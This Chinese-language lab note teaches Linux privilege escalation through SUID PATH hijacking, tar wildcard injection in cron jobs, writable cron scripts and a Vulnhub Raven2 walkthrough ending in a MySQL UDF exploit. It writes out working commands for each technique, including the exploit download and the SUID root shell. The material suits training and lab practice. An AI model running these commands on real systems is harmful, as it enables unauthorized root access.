这是一个比较鸡肋的提权,
已经有一个本地用户的环境,提升至root权限,
过程:手写一个调用文件(c语言文件),gcc编译为可执行的文件,将文件复制到对应的地方,增加一个环境变量,
对应文件属性
把这个脚本文件,方在自己普通用户的文件夹里面,system调用ps命令,ps命令就是查看进程的普通命令,
gcc
demo.c -o shell
编译好文件之后,
cp
/bin/sh
/tmp/ps
复制sh文件的内容到ps文件里面去
环境变量:就比如我们在命令提示符里面输入java,就会自动运行出来java这是因为我们在环境变量里面配置好了,我们输入java的时候,环境变量就会自动找到程序的位置运行,
我们输入一些常见的m命令,sh,id,bash都能正常运行,这是从哪里来的,实际情况是在输入sh的,他就会自己找到sh所在的目录,并且执行sh,
cp
/bin/sh
/tmp/ps
sh是可执行文件,复制给ps之后,ps也变成了可执行文件,之后在执行ps还是查看进程,但是在tmp目录下执行ps文件就是命令./ps 就会执行sh
export
PATH=
/tmp
:$PATH
自己设置一个环境变量
再查看环境变量的时候就多了一个tmp,
在执行ps命令
就不会在显示进程,而是sh
再来到自己用户文件夹来,脚本编译出来后,脚本看过了是用系统命令执行的ps,有一个shell,在执行./shell就相当于执行的ps
执行完之后,权限就变成了root权限
为什么最后执行的sh,他这里就变成了root权限,因为sh有suid权限,执行的时候就会以root去运行,而那个脚本有权限继承,所以维持了root权限,
前提条件:赋予了suid权限;需要本地权限,
linux在做运维的时候,管理员经常会发布定时任务,
先运行,cat /etc/crontab
利用计划路径的问题造成的提权,
以root以添加一个计划任务,每分钟以root执行一次,并且不写绝对路径
攻击者就在当前目录创建一个和他名字相同的文件可执行文件,计划任务就会调用攻击者创建的可执行文件去执行计划任务,
echo 'cd /home/san/123; tar czf /tmp/backup.tar.gz *' > backup.sh
chmod +x backup.sh
自己写一个计划任务
查看计划任务,这里有一个备份任务,我们打开文件夹看一下里面的内容
cd 来到后面的指定目录,很简单;后门tar czf进行一个压缩,*代表所有文件,就是刚刚指定目录压缩所有的文件,命名为backup.tar,到tmp目录下
命令效果
echo 'cd /home/san/123; tar czf /tmp/backup.tar.gz *' > backup.sh
chmod +x backup.sh
成功执行了
在添加进去这三个文件到要备份的目录。
之后在执行计划任务,这里就多了bash文件
在原本目录里面有这么多文件
但是压缩包里面就只有四个文件
这是因为命令的问题,计划任务的命令是
cd /home/san/123; tar czf /tmp/backup.tar.gz *
而*符合是会将文件名字一个一个传入作为参数
对于后面添加的两个文件就当与执行了
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
--checkpoint 是命令参数
最后就相当于通过exec执行了sh,来到sh环境比哪里,sh的环境就是root权限,之后又执行了test.sh
这个脚本就是复制/bin/bash给/tmp/bash,并且给/tmp/bash加上suid的权限,这句增加suid命令因为本地权限太低了,没有办法执行,所以要借用系统命令去调用,
后门添加是两个命名奇怪的文件就是为了组合*号,执行别的脚本,
之后直接./bash -p 执行就可以了
就提升到了root权限。
类似tar提权的命令还有chown、chmod、rsync等,大家可以自己研究一下
满足条件:计划任务在本地权限范围内,计划任务可以有操作的参数比如*,
利用不安全的权限分配操作导致的定时文件覆盖
比如这个777就代表,所有者和组和其他用户都有可读可写可执行的权限,
而新建文件夹的默认权限是644
这时候操作者可能就会直接执行一个,chmod +x test.sh
再打开这个文件的属性看
全部都可执行,但是除了所有者还是都不可以覆盖。
但是有些管理员又不好的习惯,直接,chmod 777 test.sh
这样的权限,那就是都可以覆盖。
写一个关于他的计划任务,
然后这个文件我们普通用户又可以写,正常的写入,拿给他后门写一个,chmod +s /tmp/bash(bash是自己写的恶意脚本,能继承root权限,或者执行一个exec的反弹shell也能取得root权限) 给特定的命令添加一个suid权限,不就可以提权了
前提条件,管理员配置的不安全计划任务权限
Vulnhub 某靶机-探针 IP 及端口-利用漏洞获取 web 权限-信息收集-查看数据库配置文件-利用 Mysql 提权 Linux(Mysql 版本区别同 Windows)
靶机链接:https://download.vulnhub.com/raven/Raven2.ova
就是这个存活ip,打开网站就是这样
搞一手目录扫描来
-直接进入vendor目录(不知道这个目录是怎么扫出来的,估计要字典比较好)
这就看到了phpmailer,插件,这个插件在网上搜一下,有漏洞
都有漏洞,
下载好exp,修改一下攻击信息,就可以直接用
https://www.exploit-db.com/download/40974
配置好弄监听ip端口,等待反弹shell
执行完成脚本
访问反弹shell的文件
拿下webshell
连接上
上传信息收集脚本
执行脚本
mysql5.5.60
数据库提权的前提条件是root权限,就去翻找数据库配置文件
root账户密码
linux的mysql提权有点不一样,
(1)下载mysql udf poc进行编译(目标服务器可能没有
gcc
,所以最好在本机进行编译再上传)
wget https:
//www
.exploit-db.com
/download/1518
mv
1518 raptor_udf.c
gcc
-g -c raptor_udf.c
gcc
-g -shared -o raptor_udf.so raptor_udf.o -lc
mv
raptor_udf.so 1518.so
这一段过程建议在本地去运行
(2)下载1518到目标服务器
wget https:
//xx
.xx.xx.xx
/1518
.so
(3)进入数据库进行UDF导出(root连接)
use mysql;
create table foo(line blob);
insert into foo values(load_file(
'/tmp/1518.so'
)); //临时储so文件
select
* from foo into dumpfile
'/usr/lib/mysql/plugin/1518.so'
; //导出so文件
(4)创建do_system函数调用
create
function
do_system returns integer soname
'1518.so'
;
select
do_system(
'chmod u+s /usr/bin/find'
); //给find有suid权限
之后就可以直接
touch
xiaodi
find
xiaodi -
exec
"whoami"
\;
find
xiaodi -
exec
"/bin/sh"
\;
id
第一个问题,提权环境(webshel环境,或者普通本地权限),信息收集(用信息收集脚本之后首先看,suid,定时任务,可能漏洞*(脚本探针的cve编号漏洞),第三方服务应用(通过脚本手机,比如案例三的mysql数据库作为提权方式))
第二个问题,最新相关漏洞要明确(比如及时更新相关脚本),二次开发展望(对脚本自己进行开发优化,现在是脚本小子的意淫时刻)
第三个问题,本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)
---searchsploit
(1) 下载:https://github.com/offensive-security/exploitdb(Linux的可执行文件)
---最新漏洞官网在线搜索:https://www.exploit-db.com
也可以用牛逼的忍者渗透系统,比如可以直接在忍者系统命令行searchsploit mysql,就可以搜出来exp
第四个问题,密码复用(翻找到数据库账号密码,也可能是用户的密码,试一试),
guid(几乎和suid一模一样,)
只有搜索语句不一样,别的利用手法都一样。‘
sudo提权(很鸡肋,没鸟用)
fa
cai